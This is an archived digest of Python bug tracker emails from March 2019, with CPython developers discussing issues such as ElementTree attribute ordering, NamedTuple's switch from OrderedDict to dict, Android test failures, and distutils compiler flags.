severity: normal
status: open
title: inspect.Signature.parameters and inspect.BoundArguments.arguments should be dicts instead of OrderedDicts
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36350>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:19:23 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Mon, 18 Mar 2019 15:19:23 +0000
Subject: [issue36350] inspect.Signature.parameters and
 inspect.BoundArguments.arguments should be dicts instead of OrderedDicts
In-Reply-To: <1552922208.92.0.691129185173.issue36350@roundup.psfhosted.org>
Message-ID: <1552922363.04.0.642422856867.issue36350@roundup.psfhosted.org>


Change by R?mi Lapeyre <remi.lapeyre at henki.fr>:


----------
keywords: +patch
pull_requests: +12366
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36350>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:19:52 2019
From: report at bugs.python.org (SilentGhost)
Date: Mon, 18 Mar 2019 15:19:52 +0000
Subject: [issue36349] Including parentheses in a regular expression pattern
 enclosed by literal square bracket characters cause the square brackets not
 to be matched
In-Reply-To: <1552921439.06.0.146720429556.issue36349@roundup.psfhosted.org>
Message-ID: <1552922392.77.0.371975467317.issue36349@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

Fabrod, this has nothing to do with the square brackets. It is your assumption that the return value should be the same that is wrong. Cf.:

>>> re.findall(r'a.+', 'abc')
['abc']
>>> re.findall(r'a(.+)', 'abc')
['bc']

This is the correct documented behaviour.

----------
nosy: +SilentGhost
resolution: out of date -> not a bug

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36349>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:20:38 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 18 Mar 2019 15:20:38 +0000
Subject: [issue36350] inspect.Signature.parameters and
 inspect.BoundArguments.arguments should be dicts instead of OrderedDicts
In-Reply-To: <1552922208.92.0.691129185173.issue36350@roundup.psfhosted.org>
Message-ID: <1552922438.9.0.803833392404.issue36350@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36350>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:24:27 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 15:24:27 +0000
Subject: [issue36342] test_venv fails on Android with clang
In-Reply-To: <1552903359.9.0.770761638832.issue36342@roundup.psfhosted.org>
Message-ID: <1552922667.81.0.642609163712.issue36342@roundup.psfhosted.org>


Xavier de Gaye <xdegaye at gmail.com> added the comment:

Too hasty again, remembering now why I linked this failure with sem_open :-(

Re-opening this issue as the test does fail because Android lacks a functioning sem_open implementation. And tagging this issue as a dependency of bpo-35978 as we should wait for the solution on bpo-35978 before fixing this one, if it is still needed.

The link between the failure and sem_open shows up when running the python statements of test_multiprocessing() in the interpreter on Android:

generic_x86_64:/data/local/tmp/python $ python
Python 3.8.0a2+ (heads/bpo-36341-dirty:41f0b78cbf, Mar 18 2019, 10:43:05)
[Clang 3.8.275480 ] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from multiprocessing import Pool
>>> print(Pool(1).apply_async("Python".lower).get(3))
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.8/multiprocessing/synchronize.py", line 28, in <module>
    from _multiprocessing import SemLock, sem_unlink
ImportError: cannot import name 'SemLock' from '_multiprocessing' (/data/local/tmp/python/lib/python3.8/lib-dynload/_multiprocessing.cpython-38dm.so)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/data/local/tmp/python/lib/python3.8/multiprocessing/context.py", line 118, in Pool
    return Pool(processes, initializer, initargs, maxtasksperchild,
  File "/data/local/tmp/python/lib/python3.8/multiprocessing/pool.py", line 166, in __init__
    self._setup_queues()
  File "/data/local/tmp/python/lib/python3.8/multiprocessing/pool.py", line 300, in _setup_queues
    self._inqueue = self._ctx.SimpleQueue()
  File "/data/local/tmp/python/lib/python3.8/multiprocessing/context.py", line 112, in SimpleQueue
    return SimpleQueue(ctx=self.get_context())
  File "/data/local/tmp/python/lib/python3.8/multiprocessing/queues.py", line 336, in __init__
    self._rlock = ctx.Lock()
  File "/data/local/tmp/python/lib/python3.8/multiprocessing/context.py", line 66, in Lock
    from .synchronize import Lock
  File "/data/local/tmp/python/lib/python3.8/multiprocessing/synchronize.py", line 30, in <module>
    raise ImportError("This platform lacks a functioning sem_open" +
ImportError: This platform lacks a functioning sem_open implementation, therefore, the required synchronization primitives needed will not function, see issue 3770.
>>>

----------
dependencies: +test_venv fails in Travis with GCC
resolution: duplicate -> 
stage: resolved -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36342>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:27:57 2019
From: report at bugs.python.org (Gianluca)
Date: Mon, 18 Mar 2019 15:27:57 +0000
Subject: [issue36304] When using bz2 and lzma in mode 'wt',
 the BOM is not written
In-Reply-To: <1552655943.64.0.213784898243.issue36304@roundup.psfhosted.org>
Message-ID: <1552922877.86.0.561816907692.issue36304@roundup.psfhosted.org>


Gianluca <gianluca.gippetto at gmail.com> added the comment:

In case the file is not seekable, we could decide based on the file mode:
- if mode='w', write the BOM
- if mode='a', don't write the BOM

Of course, mode "a" doesn't guarantee we are in the middle of the file, but it seems a consistent behavior not writing the BOM if we are "appending" to the file.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36304>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:30:30 2019
From: report at bugs.python.org (Steve Dower)
Date: Mon, 18 Mar 2019 15:30:30 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552923030.35.0.451344518454.issue36010@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

The change in the PR should be all that's necessary - the props file you are referring to is for end-users to integrate a Python build into their application (where I still assume they don't want venvs, and if they do there's already a property there to include them).

How do you know your current change isn't working?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:31:00 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 18 Mar 2019 15:31:00 +0000
Subject: [issue36320] typing.NamedTuple to switch from OrderedDict to regular
 dict
In-Reply-To: <1552767001.87.0.278808375525.issue36320@roundup.psfhosted.org>
Message-ID: <1552923060.02.0.344376655137.issue36320@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Would it make sense to convert _field_types to a property, so the method(s) that implement the property can do:

warnings.warn("_field_types is deprecated; use __annotations__ instead", DeprecationWarning)

to indicate the deprecation programmatically, not just in the documentation? The property could be backed by __annotations__ directly; they're already aliases of one another, so the only difference in behavior would be if someone was actually reassigning _field_types after class definition time (which I'm hoping is an invalid use case...). Would save some headaches for folks who run with warnings enabled, but don't read the What's New notices in detail.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36320>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:32:38 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 15:32:38 +0000
Subject: [issue36348] test_imaplib.RemoteIMAP_STARTTLSTest.test_logout() fails
 randomly
In-Reply-To: <1552921033.43.0.82087415933.issue36348@roundup.psfhosted.org>
Message-ID: <1552923158.99.0.492095547178.issue36348@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Seems it used to fail randomly in past too : issue30648

Well, test_logout() fails randomly every 6 months, but when it fails: we have zero info about the bug. The "NO" in the error means that an exception has been raised and the server didn't reply to the "LOGOUT" command.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36348>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:34:22 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 15:34:22 +0000
Subject: [issue36348] test_imaplib.RemoteIMAP_STARTTLSTest.test_logout() fails
 randomly
In-Reply-To: <1552921033.43.0.82087415933.issue36348@roundup.psfhosted.org>
Message-ID: <1552923262.26.0.0774960054826.issue36348@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> https://buildbot.python.org/all/#/builders/21/builds/2512

It's s390x RHEL 3.x.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36348>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:37:54 2019
From: report at bugs.python.org (Paul Moore)
Date: Mon, 18 Mar 2019 15:37:54 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552923474.27.0.563330792878.issue36010@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

I ran Tools/nuget/build.bat manually, and the resulting file didn't have lib\venv in it (I opened it in 7-zip, I don't know how to install a local nuget file...).

Could you build the nuget files and check? Or suggest a better way I can check that the change has worked?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:43:07 2019
From: report at bugs.python.org (Julien Palard)
Date: Mon, 18 Mar 2019 15:43:07 +0000
Subject: [issue35605] backported patch requires new sphinx,
 minimum sphinx version was not bumped
In-Reply-To: <1546016436.32.0.942702382011.issue35605@roundup.psfhosted.org>
Message-ID: <1552923787.8.0.631974088978.issue35605@roundup.psfhosted.org>


Change by Julien Palard <julien+python at palard.fr>:


----------
pull_requests: +12367

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35605>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:46:55 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 15:46:55 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1552924015.65.0.144029029263.issue36345@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I'm ok with modifying "make server" to reuse http.server, but I'm not sure about deprecating Tools/scripts/serve.py.

serve.py uses wsgiref which is different than http.server. Does anyone use it? I would prefer to keep it. If you want to remove it, please send an email to python-dev to ask who uses it.


"make serve" has been added by bpo-8004 which added Tools/scripts/serve.py.

commit e4c74e1ea26e77b065a8999b7192160595474211
Author: Dirkjan Ochtman <dirkjan at ochtman.nl>
Date:   Wed Feb 24 04:12:11 2010 +0000

    Issue #8004: add a serve target to the Doc Makefile.

----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:48:09 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 15:48:09 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552924089.23.0.924847970469.issue34160@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

in fact, there is no easy way for the fix for python-docutils.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:52:27 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 15:52:27 +0000
Subject: [issue36214] AC_RUN_IFELSE macros not used as arguments of
 AC_CACHE_VAL et al
In-Reply-To: <1551888207.23.0.560311387445.issue36214@roundup.psfhosted.org>
Message-ID: <1552924347.34.0.672531344654.issue36214@roundup.psfhosted.org>


Change by Xavier de Gaye <xdegaye at gmail.com>:


----------
keywords: +patch
pull_requests: +12368
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36214>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:10:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 16:10:03 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552925403.22.0.204093221923.issue34160@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Please don't break the backward compatibility without an easy way to retrieve Python 3.7 behavior.

I set the priority to release blocker until a consensus can be found, and I add Lukasz (Python 3.8 release manager) in the loop.


Ned Batchelder: "I'm a bit mystified why people are still opposed to providing sorting control, even after people are resorting to "hack work-arounds."  The (two) pull requests that provide the control are simple, easy to understand, and easy to test."

I concur. I'm fine with sorting by default, but it breaks the backward compatibility on purpose without providing an option to opt-in for the old behavior :-(

Many XML parsers rely on the order of attributes. It's part of the XML "semantics". Well, it shouldn't, but I cannot fix all applications around the world to explain them that Python is right, and they are all wrong :-)

It's not straighforward to fix an application to get Python 3.7 behavior. I would prefer to not have to copy-paste Stefan Behnel's recipe in every project using XML who wants to sort attributes:

"""
Something like this:

def sort_attributes(root):
    for el in root.iter():
        attrib = el.attrib
        if len(attrib) > 1:
            attribs = sorted(attrib.items())
            attrib.clear()
            attrib.update(attribs)
"""

This recipe does modify the document and so changes the behavior of the application when it iterates on attributes later, whereas in Python 3.7 attributes are only sorted while writing the XML into a file.

----------
nosy: +lukasz.langa
priority: normal -> release blocker

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:10:33 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 16:10:33 +0000
Subject: [issue36351] the ipv6type variable in configure.ac may be set
 incorrectly when cross-compiling
Message-ID: <1552925433.25.0.962523188847.issue36351@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

The tests that set the 'ipv6type' variable in configure.ac check the local file system and this may give incorrect values when cross-compiling. For example the /etc/netconfig file exists on Archlinux, and configure sets ipv6type=solaris when cross-compiling Android on this platform.

----------
components: Cross-Build
messages: 338250
nosy: Alex.Willmer, xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: the ipv6type variable in configure.ac may be set incorrectly when cross-compiling
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36351>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:10:34 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 16:10:34 +0000
Subject: [issue36328] tstate may be used uninitialized in Py_NewInterpreter
In-Reply-To: <1552844454.78.0.703693793715.issue36328@roundup.psfhosted.org>
Message-ID: <1552925434.04.0.18506776845.issue36328@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 9e06d2b865beb62e54a4da39eb191f9fb8385282 by Victor Stinner (St?phane Wirtel) in branch 'master':
bpo-36328: Fix compiler warning in Py_NewInterpreter() (GH-12381)
https://github.com/python/cpython/commit/9e06d2b865beb62e54a4da39eb191f9fb8385282


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36328>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:10:49 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 16:10:49 +0000
Subject: [issue36328] tstate may be used uninitialized in Py_NewInterpreter
In-Reply-To: <1552844454.78.0.703693793715.issue36328@roundup.psfhosted.org>
Message-ID: <1552925449.7.0.807822820448.issue36328@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
components: +Interpreter Core
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36328>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:16:40 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 16:16:40 +0000
Subject: [issue36304] When using bz2 and lzma in mode 'wt',
 the BOM is not written
In-Reply-To: <1552655943.64.0.213784898243.issue36304@roundup.psfhosted.org>
Message-ID: <1552925800.55.0.244247429403.issue36304@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy:  -vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36304>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:19:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 16:19:04 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552925944.96.0.970818014705.issue36235@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 72c7b372cf145fded93a9a776acc742a60090f95 by Victor Stinner in branch 'master':
bpo-36235: Enhance distutils test_customize_compiler() (GH-12403)
https://github.com/python/cpython/commit/72c7b372cf145fded93a9a776acc742a60090f95


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:25:01 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 16:25:01 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552926301.84.0.0957056517843.issue36235@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12369

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:30:18 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 16:30:18 +0000
Subject: [issue36351] the ipv6type variable in configure.ac may be set
 incorrectly when cross-compiling
In-Reply-To: <1552925433.25.0.962523188847.issue36351@roundup.psfhosted.org>
Message-ID: <1552926618.43.0.242918212157.issue36351@roundup.psfhosted.org>


Change by Xavier de Gaye <xdegaye at gmail.com>:


----------
keywords: +patch
pull_requests: +12370
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36351>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:32:16 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 16:32:16 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552926736.4.0.363858053264.issue36235@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12371

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:33:06 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 18 Mar 2019 16:33:06 +0000
Subject: [issue36320] typing.NamedTuple to switch from OrderedDict to regular
 dict
In-Reply-To: <1552767001.87.0.278808375525.issue36320@roundup.psfhosted.org>
Message-ID: <1552926786.99.0.420963598675.issue36320@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Blech. Just remembered _field_types is a *class* attribute, not an instance attribute, so it (just) can't be a plain property on NamedTuple itself.

And because NamedTuple is super-weird (AFAICT, class X(typing.NamedTuple): pass defines a class where the class is not a subclass of typing.NamedTuple, nor are its instances instances of NamedTuple, it's just wrapping an invocation of collections.namedtuple, which directly subclasses tuple with no metaclass involvement), and making a "class property" of the type we'd need requires a metaclass (which for tuple subclasses isn't an option), serious hackery or both ( https://stackoverflow.com/q/5189699/364696 ), it's probably not worth the effort to provide this warning. The only way to do it, AFAICT, would be to give the root tuple class a metaclass to provide the _field_types property, and that's a non-starter given it would, among other things, probably slow every single use of tuples just to provide the warning for this one niche case.

Boo.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36320>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:37:35 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 16:37:35 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552927055.14.0.253658616347.issue36235@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Just a question: I think it should be backported to 3.7 and 2.7 (...)

Right, I wrote PRs for that. I didn't use GitHub labels because the bot is currently broken.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:46:40 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 16:46:40 +0000
Subject: [issue36352] Modules/getpath.c should not use hardcoded buffer sizes
 (MAXPATHLEN)
Message-ID: <1552927600.61.0.558974718013.issue36352@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

I'm working on a change to avoid hardcoded buffer sizes (MAXPATHLEN) in Modules/getpath.c. This issue is a place holder to discuss it.

----------
components: Interpreter Core
messages: 338255
nosy: vstinner
priority: normal
severity: normal
status: open
title: Modules/getpath.c should not use hardcoded buffer sizes (MAXPATHLEN)
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36352>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:47:34 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 16:47:34 +0000
Subject: [issue36352] Modules/getpath.c should not use hardcoded buffer sizes
 (MAXPATHLEN)
In-Reply-To: <1552927600.61.0.558974718013.issue36352@roundup.psfhosted.org>
Message-ID: <1552927654.36.0.365277951814.issue36352@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 1be0d1135f5627d0525eab635cf2da441d9cbc08 by Victor Stinner in branch 'master':
bpo-36352: Clarify fileutils.h documentation (GH-12406)
https://github.com/python/cpython/commit/1be0d1135f5627d0525eab635cf2da441d9cbc08


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36352>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:49:09 2019
From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=)
Date: Mon, 18 Mar 2019 16:49:09 +0000
Subject: [issue36318] Adding support for setting the "disabled" attribute of
 loggers from logging.config.dictConfig
In-Reply-To: <1552761329.43.0.180278602772.issue36318@roundup.psfhosted.org>
Message-ID: <1552927749.45.0.572680370309.issue36318@roundup.psfhosted.org>


G?ry <gery.ogam at gmail.com> added the comment:

> It would be better to set the level of those loggers to e.g. ERROR or CRITICAL rather than disabling them altogether - presumably if something bad happens in those packages, one would want to know!

What if the user doesn't care anyway? Why assuming what the user wants? And with solutions 2 and 3, the user can already *completely* silence a specific logger from `logging.config.dictConfig`. So it cannot be the reason why the `disabled` attribute cannot be set from `logging.config.dictConfig`.

> I don't especially want people to use `disabled` for this type of thing - the main reason for having it is that following an on-the-fly reconfiguration in a long-running process, some threads might still be active that contain references to now-unwanted loggers, and disabling makes those references inactive without the need to track them down.

I think you are referring to the `disable_existing_loggers` key in `logging.config.dictConfig`, which sets the `disabled` attribute for loggers present in a previous configuration but absent in the new configuration (https://github.com/python/cpython/blob/master/Lib/logging/config.py#L161).

So a user can already deactivate *all* existing loggers from `logging.config.dictConfig`. What if he wants to deactivate only *one* specific logger, but not all (for whatever reason)?

If the `disabled` attribute should not be part of the public API, it should have been name `_disabled`. Currently everyone can type this anyway:


import logging

logging.getLogger("foo").disabled = True


So it should be doable from `logging.config.dictConfig` too in my opinion.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36318>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:53:37 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 18 Mar 2019 16:53:37 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1552928017.38.0.326112598793.issue36345@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

I disagree with deprecating serve.py. It is a demo for the wsgiref module.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:54:24 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 18 Mar 2019 16:54:24 +0000
Subject: [issue36320] typing.NamedTuple to switch from OrderedDict to regular
 dict
In-Reply-To: <1552767001.87.0.278808375525.issue36320@roundup.psfhosted.org>
Message-ID: <1552928064.63.0.825400771512.issue36320@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset f7b57df0c09c3a04ab27ba06eb2feb989bbb16cb by Miss Islington (bot) (Raymond Hettinger) in branch 'master':
bpo-36320: Switch typing.NamedTuple from OrderedDict to regular dict (GH-12396)
https://github.com/python/cpython/commit/f7b57df0c09c3a04ab27ba06eb2feb989bbb16cb


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36320>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:56:15 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 18 Mar 2019 16:56:15 +0000
Subject: [issue36320] typing.NamedTuple to switch from OrderedDict to regular
 dict
In-Reply-To: <1552767001.87.0.278808375525.issue36320@roundup.psfhosted.org>
Message-ID: <1552928175.87.0.693806612191.issue36320@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36320>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:58:20 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 18 Mar 2019 16:58:20 +0000
Subject: [issue23984] Documentation error: Descriptors
In-Reply-To: <1429245728.01.0.810263114275.issue23984@psf.upfronthosting.co.za>
Message-ID: <1552928300.58.0.139015715964.issue23984@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

FWIW, I'm in the middle of a major update to this howto add will address this example there.

----------
resolution:  -> postponed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23984>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:05:06 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 18 Mar 2019 17:05:06 +0000
Subject: [issue36347] Add the constant READWRITE for PyMemberDef
In-Reply-To: <1552920150.75.0.888906424388.issue36347@roundup.psfhosted.org>
Message-ID: <1552928706.54.0.22815692277.issue36347@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

It does not follow the convention for names in the C API. All public names should have prefix Py or PY, all private user visible names should have prefix _Py or _PY.

Some existing names do not follow that convention, but we should fix this and do not add new exceptions.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:30:39 2019
From: report at bugs.python.org (Steve Dower)
Date: Mon, 18 Mar 2019 17:30:39 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1552923474.27.0.563330792878.issue36010@roundup.psfhosted.org>
Message-ID: <9d715594-774b-2600-8970-15b1d51d0a06@python.org>


Steve Dower <steve.dower at python.org> added the comment:

> I ran Tools/nuget/build.bat manually, and the resulting file didn't have lib\venv in it (I opened it in 7-zip, I don't know how to install a local nuget file...).

Huh, Tools/nuget/make_pkg.proj doesn't use the preset for some reason. I 
don't remember why not, so maybe add all the options listed in that file 
into the preset as well and then update the command in make_pkg.proj to 
just have "--preset-nuget".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:31:55 2019
From: report at bugs.python.org (Toon Verstraelen)
Date: Mon, 18 Mar 2019 17:31:55 +0000
Subject: [issue36353] rpath incorrectly handled on OSX by build_ext
Message-ID: <1552930315.65.0.323972395891.issue36353@roundup.psfhosted.org>


New submission from Toon Verstraelen <toon.verstraelen at gmail.com>:

When using the '-R' option of build_ext on OSX, e.g.

python setup.py -R some/path

it gets translated to the following clang compiler argument:

-L some/path

while it should be

-Wl,-rpath,some/path

See clang documentation for details: 

https://clang.llvm.org/docs/ClangCommandLineReference.html#linker-flags

----------
components: Distutils
messages: 338263
nosy: Toon Verstraelen, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: rpath incorrectly handled on OSX by build_ext
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36353>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:34:34 2019
From: report at bugs.python.org (STINNER Victor)
